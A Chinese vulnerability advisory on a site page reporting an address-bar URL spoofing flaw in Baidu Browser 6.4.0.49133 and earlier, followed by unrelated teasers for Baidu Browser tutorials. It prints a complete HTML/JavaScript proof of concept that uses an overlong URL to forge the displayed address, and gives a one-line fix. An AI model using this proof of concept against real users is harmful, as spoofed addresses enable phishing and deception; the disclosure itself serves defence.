浏览器漏洞 百度浏览器6.4.0.49133 伪造任意网址

百度浏览器近期发现漏洞，百度浏览器6.4.0.49133以及以前版本伪造任意网址漏洞，伪造任意协议（http/https/ftp...）、域名、网址URL长度大于4KB时处理出错，例如将证明文件保存为c:/a.htm并打开，点击连接后可以伪造任意网址。

同时URL过长的时候，会显示“已收藏”图标，估计是处理过长url时逻辑有点小问题漏洞证明：

复制代码

代码如下:

<html>
<div id='c' style=''> //displaynone
ss
</div>
<a href="#" target="newwin" id='v' style="display:block" onclick="invokePoC();window.open('javascript：1;','newwin');">just click me</a>
<script>
function invokePoC() {
wx = open("http://www.baidu.com/account/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
","newwin");//setInterval("doit()",5000);
}
if(window.name == "newwin")
{
document.getElementById('c').innerText = ':). due to an internal error(>10Kbytes url), the fav icon will be shown. if you just want the shortest url, just make it for about 4KB';document.write("<title>:)</title>");
document.getElementById('v').style.display = 'none';}
</script>
</html>

修复方案：

无效URL及时过滤，以防止伪造网址，谢谢阅读，希望能帮到大家，请继续关注，我们会努力分享更多优秀的文章。

赞 (0)

相关推荐

  • 搜狗高速浏览器和百度浏览器哪个好 两款浏览器对比介绍

    搜狗浏览器和百度浏览器都是非常有名的电脑浏览器.相信很多人都在使用吧,那么这两款浏览器哪个好,下面我们小编带来了搜狗高速浏览器和百度浏览器对比介绍,希望对大家有所帮助. 搜狗高速浏览器和百度浏览器对比 ...

  • 百度浏览器5.0版评测

    在很多人眼中，千篇一律不辨雌雄的浏览器e字LOGO实在视觉疲劳。而最近更新的百度浏览器5.0版，其全新形象——太空熊让人眼前一亮。正如每一条船都有他自己的名字，如果您使用过手机版的百度浏览器，对这个与 ...

  • 百度浏览器怎么截图?百度浏览器网页截图方法图文介绍

    导读：百度浏览器截图功能非常强大，支持普通拖动区域式截图，另外还可以截图完整的网页。以下是百度浏览器截图详细教程。 如今很多浏览器都支持截图功能，像360安全浏览器、百度浏览器等均拥有截图功能，方便我 ...

  • 360.百度浏览器网页上的字体大小如何缩放？

    360.百度浏览器网页上的字体大小如何缩放？

    通常情况下,用户会通过浏览器>来访问各种网页,网页的字体大小,也是可以在浏览器上进行设置的,这样,如果网页上的字太小,通过放大,就看得比较舒服. 360修改的方法如下: 360浏览器右下角 百度 ...

  • 如何使用百度浏览器截取完整的网页?

    很多人不知道要截取整个完整的网页，不知道怎么截图。其实，现在很多浏览器都支持截图功能，像360安全浏览器、百度浏览器等均拥有截图功能，方便我们网页截图等。下面小编就教大家怎样使用百度浏览器截图教程，主 ...

  • 百度浏览器:浏览简单化 应用极致化

    几天前看到百度浏览器开始公测的消息，就准备找时间试一试。如今浏览器市场打的火热，各家浏览器都一门心思推出五花八门的标准和功能，互联网入口之争出现了百家争鸣的局面…… 几天前看到百度浏览器开始公测的消息 ...

  • 百度浏览器怎么截图?

    如今很多浏览器都支持截图功能，像360安全浏览器、百度浏览器等均拥有截图功能，方便我们网页截图等。下面小编带来了百度浏览器截图教程，主要针对找不到百度浏览器截图在哪里以及不知道百度浏览器怎么截图的朋友 ...

  • 如何安装电脑版百度浏览器

    浏览器是人们上网冲浪必不可少的软件,而一款好的浏览器软件将会带给你全新的冲浪体验,个人非常喜欢浏览器,简洁而又功能强大.下面就为大家介绍如何在电脑上安装浏览器. 操作方法 01 在浏览器搜索" ...

  • 手机百度浏览器如何设置地址栏输入提示？

    现在手机浏览器的种类越来越丰富,百度浏览器是其中一款比较好用的软件,吸引了很多用户.那手机百度浏览器如何设置地址栏输入提示呢?下面我来讲讲这个问题. 操作方法 01 首先,需要下载手机百度浏览器,手浏 ...